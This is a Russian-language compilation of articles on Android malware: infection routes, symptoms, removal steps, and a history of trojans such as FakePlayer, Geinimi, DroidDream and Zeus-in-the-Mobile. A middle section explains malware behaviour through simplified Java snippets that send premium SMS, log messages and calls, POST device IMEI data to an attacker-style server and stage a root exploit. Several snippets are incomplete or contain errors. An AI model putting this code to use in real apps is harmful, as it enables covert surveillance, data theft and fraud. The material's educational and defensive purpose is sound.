На сегодняшний день OS Android позиционируется как одна из наиболее популярных операционных систем – под ее управлением работает более 70% устройств по всему миру.

Причина в ее доступности: производитель использует открытый код для «заточки» под многочисленные гаджеты и дает возможность самостоятельно изменить внешний вид оболочки, прошить смартфон, получить и так далее.

Эти стремления к персонализации, в конечном итоге, были взяты на вооружение злоумышленниками, в результате чего на свет появилось огромное количество вредоносных программ, внедряющихся в открытый код передающих бразды правления устройством в чужие руки.

Как получить вирус?

Android считается достаточно защищенной операционной системой. Не зря умные люди придумали Google Play – бОльшая часть всего софта фильтруется на наличие вирусов, что защищает пользователя от несанкционированного внедрения. Снимая запрет на установку из неизвестных источников, можно своими руками открыть сомнительным приложениям доступ к системе девайса.

В основном, большинство вредоносных программ попадает в систему путем скачивания софта со сторонних файлообменников, например, когда обладатель смартфона пытается безвозмездно приобрести платное приложение или программу, которой нет в Google Play. Также можно «подцепить» вирус при вводе номера телефона на различных сайтах: так вы попадете в базу данных злоумышленников, после на телефон начнут приходить сообщения со странными ссылками, после перехода на которые вредоносное ПО автоматически закачается на устройство и нанесет вред его обладателю.

Какие вирусы бывают?

Классические трояны . Стары, как мир, но до сих пор успешно функционируют. Основное их назначение – кража личных данных пользователя: контактов, личных переписок, логинов/паролей от сайтов и номеров банковских карт. Заработать такую напасть можно как через сомнительное приложение, так и посредством перехода по короткой ссылке из знакомых каждому SMS-сообщений вроде «Вам пришло фото, смотреть здесь».

В последнее время такие вирусы все чаще настроены на взлом приложения вроде «Мобильного банка», поскольку так злоумышленники получают возможность перевести все деньги жертвы на свой счет.

Вирусы, дающие возможность получить root-права . В момент, когда смартфон подвергается заражению этим вирусом, злоумышленники получают права администрирования. С этого момента им доступны любые удаленные действия с устройством: отправка SMS от имени пользователя, совершение звонков, управление работой девайса, установка софта, все коды доступа, пароли и так далее.

Рассылка платных СМС-сообщений . Они в свое время были очень популярны на сайтах файлообменников, содержащих бесплатные приложения. Как только владелец устройства скачивает программу, с его номера автоматически начинают отправляться сообщения на платные короткие номера. Либо, как вариант, автоматически оформляются подписки на некий несуществующий контент, за мнимое пользование которым обладатель девайса платит от 20 до 60 руб. ежесуточно.

Как правило, пока причина стремительной потери средств будет установлена, пользователь успеет потерять приличную сумму.

«Подслушивающие вирусы» . Такого рода ПО призвано записывать все телефонные разговоры пользователя, некоторые подвиды настроены выборочно вылавливать из этих разговоров важную информацию: номера телефонов, банковских счетов и кредитных карт, логины, пароли и прочую конфиденциальную информацию.

Рекламные модули приложений . Наверное, каждый замечал при работе с некоторыми приложениями навязчивый рекламный баннер, внезапно выскакивающий посреди экрана. В некоторых случаях при клике на него создатель получает определенную сумму со счета пользователя. В большинстве своем подобная акция является разовой и не влечет регулярной потери средств, хотя иногда обладатель смартфона получает пакет параллельно действующих вирусов.

Как не поймать вирус?

Для защиты от разнообразного вредоносного ПО обладателям смартфонов на базе Android следует отказаться от установки софта из непроверенных источников, пользоваться антивирусами, регулярно и просто быть предусмотрительным.

Отчего ваш мобильный телефон вдруг начал вести себя не так, как обычно, или вообще «зажил» своей «жизнью»? Возможно, оттого, что в нем поселилась вредоносная программа. Сегодня количество вирусов и троянов для Андроид растет в геометрической прогрессии. Почему? Да потому, что ушлые ребята-вирусописатели знают, что смартфоны и планшеты всё чаще используются нашими согражданами в качестве электронных кошельков, и делают всё, чтобы переместить средства со счетов владельцев в свой карман. Давайте поговорим о том, как понять, что мобильное устройство подхватило инфекцию, как удалить вирус с Андроида и обезопасить себя от повторных заражений.

Симптомы вирусного заражения Android-устройства

  • Гаджет включается дольше, чем обычно, тормозит или внезапно перезагружается.
  • В истории SMS и телефонных звонков есть исходящие сообщения и вызовы, которых вы не совершали.
  • Со счета вашего телефона сами по себе списываются деньги.
  • На рабочем столе или в браузере отображается реклама, не связанная с каким-либо приложением или сайтом.
  • Сами по себе устанавливаются программы, включается Wi-Fi, Bluetooth или камера.
  • Пропал доступ к электронным кошелькам, мобильному банку или по неизвестным причинам уменьшилась сумма на счетах.
  • Кто-то завладел вашим аккаунтом в социальных сетях или мессенджерах (если используются на мобильном устройстве).
  • Гаджет заблокирован, а на экране отображается сообщение, что вы что-то нарушили и должны заплатить штраф или просто перевести кому-то деньги за разблокировку.
  • Внезапно перестали запускаться приложения, пропал доступ к папкам и файлам, заблокировались какие-либо функции устройства (например, не нажимаются кнопки).
  • При запуске программ выскакивают сообщения, вроде «в приложении com.android.systemUI произошла ошибка».
  • В списке приложений появились неизвестные иконки, а в диспетчере задач — неизвестные процессы.
  • Антивирусная программа информирует вас об обнаружении вредоносных объектов.
  • Антивирусная программа самопроизвольно удалилась с устройства или не запускается.
  • Батарея телефона или планшета стала разряжаться быстрее, чем всегда.

Не все из этих симптомов стопроцентно указывают на вирус, но каждый является поводом немедленно просканировать устройство на предмет заражения.

Самый простой способ удаления мобильного вируса

Если гаджет сохранил работоспособность, проще всего убрать вирус с помощью установленного на Android антивируса. Запустите полное сканирование флеш-памяти телефона, при обнаружении вредоносного объекта выберите опцию «Удалить», сохранив обезвреженную копию в карантине (на случай, если антивирус обознался и принял за вирус что-то безопасное).

К сожалению, этот способ помогает примерно в 30-40% случаев, поскольку большинство вредоносных объектов активно сопротивляется своему удалению. Но управа существует и на них. Далее мы рассмотрим варианты действий, когда:

  • антивирус не запускается, не обнаруживает или не удаляет источник проблемы;
  • вредоносная программа после удаления восстанавливается;
  • устройство (или его отдельные функции) заблокированы.

Удаление вредоносной программы в безопасном режиме

Если вам не удается почистить телефон или планшет в обычном режиме, попытайтесь это сделать в безопасном. Основная масса вредоносных программ (не только мобильных) не проявляет в безопасном режиме никакой активности и не препятствует уничтожению.

Для загрузки устройства в безопасном режиме нажмите кнопку включения/выключения, установите палец на «Отключить питание» и держите его до тех пор, пока не появится сообщение «Переход в безопасный режим». После этого нажмите ОК.

Если у вас старая версия Android — 4.0 и ниже, выключите гаджет обычным способом и снова включите. При появлении на экране логотипа Android одновременно нажмите клавиши увеличения и уменьшения громкости. Удерживайте их, пока аппарат не загрузится полностью.

Находясь в безопасном режиме, просканируйте устройство антивирусом. Если антивируса нет или он по каким-то причинам не запускается, установите (или переустановите) его из Google Play.

Таким способом успешно удаляются рекламные вирусы типа Android.Gmobi 1 и Android.Gmobi.3 (по классификации Dr. Web), которые закачивают на телефон различные программы (с целью накрутки рейтинга), а также показывают на рабочем столе баннеры и объявления.

Если у вас есть права суперпользователя (root) и вы точно знаете, что именно вызвало проблему, запустите файловый менеджер (например, Root explorer), пройдите по пути расположения этого файла и удалите его. Чаще всего мобильные вирусы и трояны помещают свое тело (исполняемые файлы с расширением.apk) в каталог system/app.

Для перехода в нормальный режим просто перезагрузите устройство.

Удаление мобильных вирусов через компьютер

Удаление вирусов на телефоне через компьютер выручает тогда, когда мобильный антивирус не справляется со своей задачей даже в безопасном режиме или функции устройства частично заблокированы.

Удалить вирус с планшета и телефона, используя компьютер, тоже возможно двумя способами:

  • с помощью антивируса, установленного на ПК;
  • вручную через файловый менеджер для Андроид-гаджетов, например, Android Commander.

Используем антивирус на компьютере

Для проверки файлов мобильного устройства антивирусом, установленным на компьютере, подключите телефон или планшет к ПК USB-кабелем, выбрав способ «Как USB-накопитель».

Следом включите USB.

После этого в папке «Компьютер» на ПК появятся 2 дополнительных «диска» — внутренняя память телефона и SD-карта. Для запуска сканирования откройте контекстное меню каждого диска и кликните «Проверить на вирусы».

Удаляем зловреда через Android Commander

Android Commander — программа для обмена файлами между мобильным андроид-гаджетом и ПК. Запускаясь на компьютере, она предоставляет владельцу доступ к памяти планшета или телефона, позволяет копировать, перемещать и удалять любые данные.

Для полноценного доступа ко всему содержимому андроид-гаджета необходимо заранее получить root-права и включить отладку по USB. Последняя активируется через сервисное приложение «Параметры» — «Система» — «Параметры разработчика».

Далее подключите гаджет к ПК как USB-накопитель и запустите с правами администратора Android Commander. В нем, в отличие от проводника Windows, отображаются защищенные системные файлы и каталоги ОС Андроид — так же, как, например, в Root Explorer — диспетчере файлов для root-пользователей.

В правой половине окна Android Commander показаны каталоги мобильного устройства. Найдите в них исполняемый файл приложения (с расширением.apk), которое вызывает проблему, и удалите его. Как вариант — скопируйте подозрительные папки с телефона на компьютер и просканируйте каждую из них антивирусом.

Что делать, если вирус не удаляется

Если вышеописанные операции ни к чему не привели — вредоносная программа по-прежнему дает о себе знать, а также если операционная система после очистки перестала нормально функционировать, придется прибегнуть к одной из радикальных мер:

  • сбросу с восстановлением заводских настроек через системное меню;
  • hard reset через меню Recovery;
  • перепрошивке аппарата.

Любой из этих способов приведет устройство к состоянию как после покупки — на нем не останется никаких пользовательских программ, личных настроек, файлов и другой информации (данных об SMS, звонках и т. п.). Также будет удалена ваша учетная запись Google. Поэтому если есть возможность, перенесите телефонную книгу на SIM-карту и скопируйте платные приложения и другие ценные объекты на внешние носители. Желательно сделать это вручную — без использования специальных программ, чтобы случайно не скопировать вирус. После этого приступайте к «лечению».

Восстанавливаем заводские настройки через системное меню

Этот вариант самый простой. Им можно воспользоваться тогда, когда функции операционной системы и сам аппарат не заблокированы.

Зайдите в приложение «Параметры», откройте раздел «Личные» — «Резервное копирование» и выберите «Сброс с восстановлением заводских настроек».

Hard reset через Recovery-меню

«Жесткий» сброс настроек поможет справиться со зловредом, если он не удаляется ни одним из перечисленных способов или заблокировал вход в систему. К нашей радости, доступ к меню Recovery (восстановления системы) при этом сохраняется.

Вход в Recovery на разных телефонах и планшетах осуществляется по-своему. На одних для этого нужно удерживать при включении клавишу «Громкость+», на других — «Громкость-«, на третьих — нажать специальную утопленную кнопку и т. д. Точная информация содержится в инструкции к аппарату.

В меню Recovery выбираем опцию «wipe data/factory reset» либо просто «factory reset».

Перепрошивка

Перепрошивка — это по сути переустановка ОС Андроид, такая же крайняя мера, как переустановка Windows на компьютере. К ней прибегают в исключительных случаях, например, когда некий китайский вирус внедрен непосредственно в прошивку и обитает на устройстве с момента его «рождения». Одним их таких вредоносов является шпионская программа android spy 128 origin.

Для перепрошивки телефона или планшета потребуются root-права, дистрибутив (сама прошивка), программа инсталляции, компьютер с USB-кабелем или SD-карта. Помните, что для каждой модели гаджета выпускаются свои, индивидуальные версии прошивок. Вместе с ними обычно находятся и инструкции по установке.

Как избежать вирусного заражения Android-устройств

  • Устанавливайте мобильные приложения только из проверенных источников, откажитесь от взломанных программ.
  • Обновляйте устройство по мере выпуска апдейтов системы — в них разработчики закрывают уязвимости, которые используют вирусы и трояны.
  • Установите мобильный антивирус и держите его всегда включенным.
  • Если гаджет служит вам кошельком, не позволяйте другим людям выходить с него в Интернет или открывать на нем непроверенные файлы.

В коллекции вредоносных Android-приложений некоторых антивирусных лабораторий содержится уже более 10 миллионов образцов. Эта цифра будоражит воображение, но примерно 9 миллионов 995 тысяч из них - переименованные копии оригинальных вирусов. Но если проанализировать исходный код оставшихся нескольких тысяч образцов малвари, то можно заметить, что все они комбинируются из небольшого количества уникальных функциональных блоков (несколько видоизмененных и по-разному скомбинированных).

Все дело в том, что вирмэйкеры чаще всего преследуют весьма тривиальные задачи:

  • отправить эсэмэску на платный номер;
  • завладеть конфиденциальной информацией пользователя (телефонными номерами, текстами сообщений, данными с SD-карты и так далее);
  • собрать данные о зараженном устройстве;
  • завладеть администраторскими правами на устройстве (для установки приложений без разрешения владельца или для злонамеренного выведения аппарата из строя);
  • отследить логины, пароли и данные платежных карт, которые пользователь вводит на сайтах систем интернет-банкинга. 
Как они это делают? Попробуем проникнуть в мрачный мир мобильного вирмэйкинга и посмотреть, что там происходит.

Отправка SMS

Кто использует:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Самым распространенным типом вирусов являются SMS-трояны. Эти вирусы просто отправляют сообщения на платные номера без согласия пользователя. Создать такую программу или переписать готовую под нужный номер совсем легко. Да и процесс получения выгоды предельно упрощен - в отличие, например, от отслеживания банковских данных.

Далее приведен простейший пример кода. Это элементарная функция отправки SMS. Ее можно усложнить проверкой статуса отправки, выбором номеров в зависимости от места положения абонента и последующим удалением SMS.

Private static SendSms (String DestNumber, String SmsText) { // Попытка запуска метода sendTextMessage объекта SmsManager (стандартная программа для отправки SMS у текущего устройства) с минимальным количеством параметров: номер получателя и текст сообщения try{ SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; } }

Где искать код вируса

В абсолютном большинстве случаев заражение телефона происходит через установку приложений. Любое приложение для Android существует в виде файла с расширением apk, который, по сути, является архивом. Просмотреть его содержимое можно с помощью Android SDK, конвертера файлов APK в JAR и декомпилятора Java-байт-кода. Сборка приложения (APK) состоит из следующих частей:

  • resources.arsc - таблица ресурсов;
  • res (папка) - собственно ресурсы (иконки и прочее);
  • META-INF (папка) - содержит файлы со следующим содержимым: контрольные суммы ресурсов, сертификат приложения и описание сборки APK;
  • AndroidManifest.xml - всякого рода служебная информация. В том числе разрешения (permission), которые приложение запрашивает перед установкой для своей корректной работы;
  • classes.dex - ты наверняка слышал, что в Android операционных системах весь код выполняется с помощью Dalvik virtual machine (начиная с версии 4.4 появляется поддержка ART), которая не понимает обычный Java-байт-код. Поэтому и существуют файлы с расширением dex. В нем, наряду с нужными и полезными классами (которые отвечают за функционал приложения), содержатся также и вредоносные (вирусный код, который мы разбираем в этой статье).

Запись пользовательской информации в текстовый файл

Кто использует:

  • NickySpy;
  • SmsSpy.

Существует категория вирусов, которая охотится за персональными данными пользователей. Механизм их действия также несложен. Они либо загружают на сервер своего создателя файлы юзера, либо предварительно собирают какие-либо данные в txt (CSV, XML - не принципиально). Интерес для злоумышленников могут представлять контакты любого типа, сообщения из разных мессенджеров, медиафайлы и прочее.

SMS зараженных юзеров особенно ценны номерами телефонов отправителей и получателей - ими можно пополнить базу для спам-рассылок. Реже вирусы такого рода используются для заражения устройств конкретных личностей - в следующий раз, когда твоя девушка предложит тебе протестировать написанное ей (ай, карамба! - Прим. ред.) приложение на Android, не теряй бдительности:).

// Считаем количество SMS на устройстве arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Обходим по циклу каждую SMS i=1 while (true) { if(i>=j) break; // Создаем объект SMS-сообщение SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Кладем в строковые переменные номер отправителя, текст и время отправки SMS String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Формируем из полученных данных строку и записываем ее в текстовый файл пользовательским методом WriteRec String MessageInfo= 7MessageNumber+"#"+ MessageText+"#"+ MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Переходим к следующему сообщению i+=1; } Также спам-лист удобно пополнять из истории вызовов абонента. Вот такой код может запускаться при входящем звонке: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) { // Кладем в переменную номер абонента String phonenumber=paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER"); // Формируем строку из номера и даты звонка String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Вызываем метод WriteRec() (его код здесь не приводится), который добавляет строку в текстовый файл с историей звонков WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); }

После того как информация записана, она переправляется в «нужные руки». Приведенный ниже код загружает историю звонков на сервер:

Private void uploadPhonecallHistory() throws IDException { while(true) { return; // Проверяем, есть ли нужный нам файл if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) continue; // Создаем объект - загрузчик файлов UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Запускаем метод.advanceduploadfile (его код здесь не приводится) для загрузки файла на сервер «вирусмейкера» localUploadFiles.advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); } }

Сбор информации

Кто использует:

  • DroidKungFu;
  • DroidDream;
  • подавляющее большинство малвари всех аналогичных.

В принципе, любому вирусмейкеру полезна информация о зараженных его программами устройствах. Получить ее очень просто. Создается массив с данными о свойствах телефона (их полный список можно посмотреть в руководстве Android-разработчика) и отправляется POST-запросом к PHP-скрипту (язык непринципиален) на сервере злоумышленника, тот обрабатывает данные и помещает их в базу данных для последующего использования.

Private void reportState(int paramInt, string paramString) { // Создаем массив и кладем в него служебную информацию ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add(new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Если у функции определен параметр «paramString(комментарий)», кладем в массив и его if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Создаем HTTP POST запрос с адресом скрипта, который осуществляет сбор данных HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try { // Добавляем в запрос наш массив с данными и выполняем его с помощью стандартного HTTP-клиента localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); return; } }

Рутинг

Кто использует:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Одна из самых неприятных вещей, которая может произойти с Android-устройством, - это его рутинг вирусом. Ведь после этого зловредная программа может делать с ним что угодно: устанавливать другие вирусы, менять настройки аппаратного обеспечения. Совершается это действо путем последовательного запуска эксплойтов:

Private void RootFunc() { ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" - это копия знаменитого root-эксплойта Rage Against The Cage. Kiall - остановка всех процессов, запущенных текущим приложением. Gjsvro - эксплойт для приобретения прав udev (используются в Linux-системах для расширенной работы с аппаратным обеспечением и сетевыми интерфейсами). Все это копируем в нужное место */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils.copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro"); //И запускаем с помощью командной строки Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/gjsvro"); new MyTread.start(); }

Сайты о мобильной малвари

Блог экспертов компании Kasperskiy Lab Этот ресурс содержит качественные и подробные статьи о многих аспектах компьютерной безопасности, в том числе и об Android-вирусах. Стоит регулярно посещать этот сайт, чтобы быть в курсе последних событий.

Группа посвящена open source инструменту для всевозможных манипуляций с кодом Android-приложений (декомпиляция и модификация DEX/ODEX/APK файлов и так далее). Androguard также содержит обширную базу статей про вирусы. Помимо кратких обзоров функционала и методов защиты, встречаются подробные анализы кода малвари.


Раздел Mobile Threats на www.fortiguard.com Энциклопедии телефонных вирусов. Каждая статья - обзор функционала, приправленный значительным количеством технических деталей. Помимо информации об угрозах для операционной системы Android, есть статьи и про вирусы для Symbian OS, iOS и других платформ.


Защита от вирусов

Некоторые пользователи считают, что если скачивать приложения исключительно из Google Play и установить на смартфон антивирус, то это стопроцентно гарантирует безопасность. Не стоит обольщаться: в Сети регулярно появляются сообщения о нахождении малвари в официальном маркете. А количество вновь появившихся зловредных программ измеряется сотнями тысяч в месяц, что затрудняет их своевременное попадание в базы антивирусных программ. Реальную гарантию безопасности может дать ручной просмотр кода APK-файла перед установкой его на телефон. Не нужно быть гуру кодинга, чтобы заметить вредоносные фрагменты. А наша статья поможет тебе в этом.

Заключение

Как мы видим из примеров, мобильный вирмейкинг технологической сложностью не отличается. Конечно, данные примеры упрощены под формат журнала - прежде всего, упущены обработчики ошибок и исключений, а также отдельные технические мелочи, отсутствие которых не помешает тебе понять принципы работы Android-малвари, но оградит от ненужных экспериментов. Ведь мы не поддерживаем создание вирусов, не так ли? 🙂

Первый экспериментальный образец полноценного трояна для Android был представлен летом 2010 года на конференции DEF CON 18. С тех пор прошло уже более четырех лет, и за это время количество вирусов для мобильной ОС от Google выросло в тысячи раз, а Google успела придумать десятки различных методов противостояния угрозам. В этой статье мы детально исследуем мир вредоносов для Android и проследим противостояние поискового гиганта и хакеров.

До нашей эры, или как написать вирус за 15 минут

Первые попытки создать вредоносный софт для Android и доказать несостоятельность гугловской мобильной платформы с точки зрения безопасности начались с публикации первых предварительных версий Android SDK в 2007 году. Молодые студенты писали софт, который использовал стандартную функциональность смартфона для чтения SMS’ок, а «исследовательские» команды, вроде Blitz Force Massada, демонстрировали аж «30 векторов атак на Android», показывая, как можно использовать стандартные API Android во вредоносных целях.

Это было время игрушек, которые нельзя было назвать ни настоящим вредоносным ПО, ни тем более вирусами. То тут, то там появлялись приложения, вроде Mobile Spy от Retina-X Studios, которые позволяли удаленно читать текстовые сообщения, историю звонков, просматривать фотографии, видео, определять координаты смартфона. Встречались и различные поддельные приложения, такие как обнаруженный в маркете в январе 2010 года неофициальный клиент для различных банков, который ни с чем не соединялся, а просто уводил номера кредитных карт, введенных самим пользователем.

Более-менее настоящий троян был реализован только в 2010 году секьюрити-компанией Trustwave, которая продемонстрировала его на конференции DEF CON 18. Впрочем, Америки они не открыли; троян был всего лишь стандартным модулем ядра Linux, который перехватывал системные вызовы write() , read() , open() и close() , а также создавал реверсивный шелл по звонку с определенного номера. Вся эта функциональность позволяла подключиться к смартфону удаленно и скрытно использовать его возможности в своих целях, в том числе читать конфиденциальную информацию.

Для установки руткита требовался физический доступ к устройству, root-права и смартфон HTC Legend (модуль был совместим только с его ядром), поэтому ни о каком практическом применении руткита речи не шло. Proof of concept, который доказал только то, что ядро Linux и в смартфоне остается ядром Linux.

Настоящий троян в «дикой природе» (не маркете) был найден только в августе 2010 года. Правда, это был совсем не тот тип трояна, о котором принято писать в нашем журнале, а всего лишь SMS-троян, то есть, по сути, обычное приложение, которое шлет SMS на платные номера без ведома юзера. Игрушка, которую хороший программист напишет за полчаса, но очень опасная, попади она к обычному юзеру.

Троян, получивший имя Trojan-SMS.AndroidOS.FakePlayer.a, прикидывался видеоплеером под незамысловатым названием Movie Player и с иконкой стандартного проигрывателя из Windows. Приложение требовало права доступа к карте памяти, отправке SMS и получению данных о смартфоне, о чем система сообщала перед его установкой. Если все это не смущало пользователя и он соглашался с установкой и запускал приложение, оно повисало в фоне и начинало отправку SMS на номера 3353 и 3354, каждая из которых обходилась в пять долларов. Номера эти, кстати, действовали только на территории России, так что нетрудно догадаться о корнях автора данного «произведения».

В октябре был обнаружен другой тип SMS-трояна. На этот раз зловред использовал смартфон не для опустошения кошелька жертвы, а для кражи его конфиденциальных данных. После установки и запуска троян уходил в фон и пересылал все входящие SMS на другой номер. В результате злоумышленник мог не только завладеть различной конфиденциальной информацией пользователя, но и обойти системы двухэтапной аутентификации, которые для входа требуют не только логин и пароль, но и одноразовый код, отправляемый на номер мобильного телефона.

Интересно, что номер телефона злоумышленника не был жестко вбит в код трояна, а конфигурировался удаленно. Чтобы его изменить, требовалось отправить на номер жертвы особым образом оформленную SMS, которая содержала номер телефона и пароль. Пароль можно было изменить с помощью другой SMS, по умолчанию использовалась комбинация red4life.

Geinimi и все-все-все

Первый по-настоящему профессионально написанный и обладающий защитой от анализа вредонос для Android был обнаружен только в декабре 2010 года компанией Lookout. Троян, получивший имя Geinimi, качественно отличался от всего, что было написано ранее, и обладал следующими уникальными характеристиками:

  • Распространение в составе легитимного ПО. В отличие от всех остальных зловредов, которые только прикидывались настоящими программами и играми, Geinimi на самом деле внедрялся в реально существующие игры. В разное время троян был найден в составе таких приложений, как Monkey Jump 2, President Versus Aliens, City Defense and Baseball Superstars 2010, разбросанных по местным маркетам Китая и различным torrent-трекерам. Функциональность оригинального приложения полностью сохранялась, поэтому пользователь даже не догадывался о заражении смартфона.
  • Двойная защита от анализа. Код трояна был пропущен через обфускатор, что затрудняло его анализ, а все коммуникации с удаленным сервером шифровались (справедливости ради стоит сказать, что использовался ущербный алгоритм DES с ключом 12345678).
  • Возможность использования для организации ботнета. В коде Geinimi было найдено более 20 управляющих команд, которые позволяли выполнять такие операции, как установка и удаление приложений (правда, на это требовалось разрешение пользователя), получение списка всех установленных программ или запуск приложений.

В целом Geinimi действовал по следующему алгоритму. После запуска зараженного приложения создавался фоновый сервис, который собирал персональные данные: координаты устройства, номера IMEI и IMSI. Затем с интервалом в одну минуту он пытался связаться с одним из десяти удаленных серверов (www.widifu.com, www.udaore.com, www.frijd.com и другими), куда передавалась вся собранная информация и где собирались команды для удаленного исполнения.

Geinimi стал родоначальником полнофункциональных троянов для Android, и после его первого обнаружения на просторах интернета стали все чаще появляться зловреды с аналогичной или похожей функциональностью. Вскоре была найдена модификация Geinimi под названием ADRD, троян Android.Pjapps и множество других. Все они распространялись через различные сайты, torrent-трекеры, китайские неофициальные магазины, поэтому защититься от них можно было, просто не устанавливая приложения из неизвестных источников. Однако все изменилось, когда был обнаружен троян DroidDream, распространявшийся в составе более чем 50 приложений, опубликованных в официальном Android Market.

DroidDream и начало борьбы за чистоту маркета

В марте 2011 года пользователь Lompolo сообщил на reddit, что в маркете Android обнаружено нескольких десятков вредоносных приложений, опубликованных человеком с ником Myournet. Несмотря на заурядность самого трояна, а также уже известный способ распространения, основанный на внедрении кода в легитимное приложение, факт наличия малвари в маркете, а также предположения о том, что она использует эксплойт rageagainstthecage для получения прав root на устройстве, быстро подогрели интерес к новости пользователей и сотрудников различных секьюрити-компаний. За несколько дней начальный список из двух десятков приложений расширился до 56, а среди публиковавших его людей (или ботов, кто знает) обнаружились Kingmall2010 и we20090202.

Сам по себе DroidDream по функциональности был очень похож на упрощенный Geinimi, но не был его вариацией. Он также собирал информацию о смартфоне, отправлял ее на удаленный сервер (http://184.105.245.17:8080/GMServer/GMServlet) и получал в ответ управляющие команды. Плюс ко всему он также содержал в себе другое приложение, спрятанное в каталоге assets/sqlite.db внутри APK и устанавливаемое в систему под именем DownloadProvidersManager.apk. Очевидно, это была защита от удаления.

В сумме зараженные приложения успели установить от 50 до 200 тысяч пользователей, пока команда безопасности Google не отреагировала на сообщение и не удалила из маркета все найденные копии зловреда и аккаунты выложивших их пользователей. В дополнение в маркете также появилось приложение Android Market Security Tool, с помощью которого пользователь мог очистить смартфон от заразы. Но и здесь не обошлось без конфуза. Буквально через два дня после этого Symantec обнаружила на просторах интернета зараженную версию этого приложения, которая содержала в себе уже другой троян, названный впоследствии Fake10086 за выборочную блокировку SMS с номера 10086.

Факт проникновения малвари в Android Market (а после DroidDream в маркете было обнаружено еще несколько вирусов) заставил Google серьезно задуматься над безопасностью своего репозитория приложений, а так как вручную они ничего делать не привыкли, то в результате в начале 2012 года выкатили сервис Bouncer, который проверял приложения на безопасность с помощью запуска в виртуальной машине. Задача Bouncer состояла в том, чтобы производить многократный запуск софтины, симулировать работу пользователя с приложением и анализировать состояние системы до и после работы с приложением. Если никаких странных и подозрительных действий софтина себе не позволяла, то она пропускалась в маркет, в противном случае публикация блокировалась.

Если верить Google, то сразу после запуска Bouncer сократил количество вредоносов в маркете на 40% Однако позднее выяснилось, что его можно легко обойти, просто проанализировав некоторые характеристики системы, такие как email-адрес владельца «смартфона», версию ОС и так далее, а затем создав приложение, которое при их обнаружении будет действовать абсолютно законно и делать грязную работу только на настоящем смартфоне. Скорее всего, Google уже разработала схему противодействия обнаружению Bouncer (например, с помощью генерации уникальных виртуальных окружений для каждого приложения).

Zeus-in-the-Mobile

Пять лет назад по компам пользователей начал свое победоносное шествие троян под названием Zeus. Благодаря изощренному дизайну и продвинутым техникам маскировки, делавшим его обнаружение невероятно трудной задачей, он смог распространиться на миллионы машин по всему миру и создать один из самых крупных ботнетов в истории; только в США было зафиксировано более трех с половиной миллионов случаев заражения.

Основная задача Zeus состояла в организации атаки типа man-in-the-browser, то есть использования техник кейлоггинга и формграббинга для перехвата частной пользовательской информации и ее отправки на удаленные серверы. За время своей работы Zeus смог утащить сотни тысяч логинов и паролей от популярных сервисов (Facebook, Yahoo!, hi5, metroFLOG, Sonico, Netlog) и, конечно же, множества онлайн-банков.

Разработчик Zeus быстро отреагировал на появление систем двухфакторной аутентификации и в 2010 году выпустил для Symbian и BlackBerry приложения, задача которых состояла в перехвате аутентификационных SMS-сообщений с одноразовыми кодами авторизации и их последующей отправке на все те же удаленные серверы. В середине 2012 года аналогичное приложение появилось и для Android.

Первая его версия была очень примитивна и представляла собой якобы секьюрити-приложение, которое при запуске выводит код верификации и закрывается. В результате в фоне повисает сервисный процесс, который занимается перехватом SMS и их отправкой на удаленный сервер. Последующие версии Zeus для Android обзавелись также системой удаленного управления с помощью сообщений с определенного номера, однако никаких продвинутых приемов маскировки или распространения вирус не использовал и в этот раз.

Тем не менее мобильная версия Zeus все-таки смогла наделать много шума в СМИ, но, как можно видеть, троян был сильно переоценен.

Первый IRC-бот

В середине января 2012 года сотрудники «Лаборатории Касперского» сообщили, что обнаружен первый в истории Android IRC-бот. Приложение распространялось в виде установочного APK-файла размером чуть больше 5 Мб и выдавало себя за игру Madden NFL 12. Интересное отличие этого трояна от других было в том, что, по сути, вся его логика работы заключалась в нативных приложениях Linux, которые никак не светились в окне стандартного диспетчера задач Android и к тому же использовали локальный эксплойт для получения прав root.

Во время запуска приложение создавало каталог /data/data/com.android.bot/files , в котором размещало три файла: header01.png, footer01.png, border01.png, а затем ставило на них бит исполнения и запускало первый файл - эксплойт Gingerbreak для получения прав root на устройстве. Если была установлена уже рутованная прошивка, приложение пыталось получить права root штатными средствами, в результате чего у пользователя запрашивалось предоставление повышенных привилегий (тот случай, когда рутованный смартфон безопаснее залоченного).

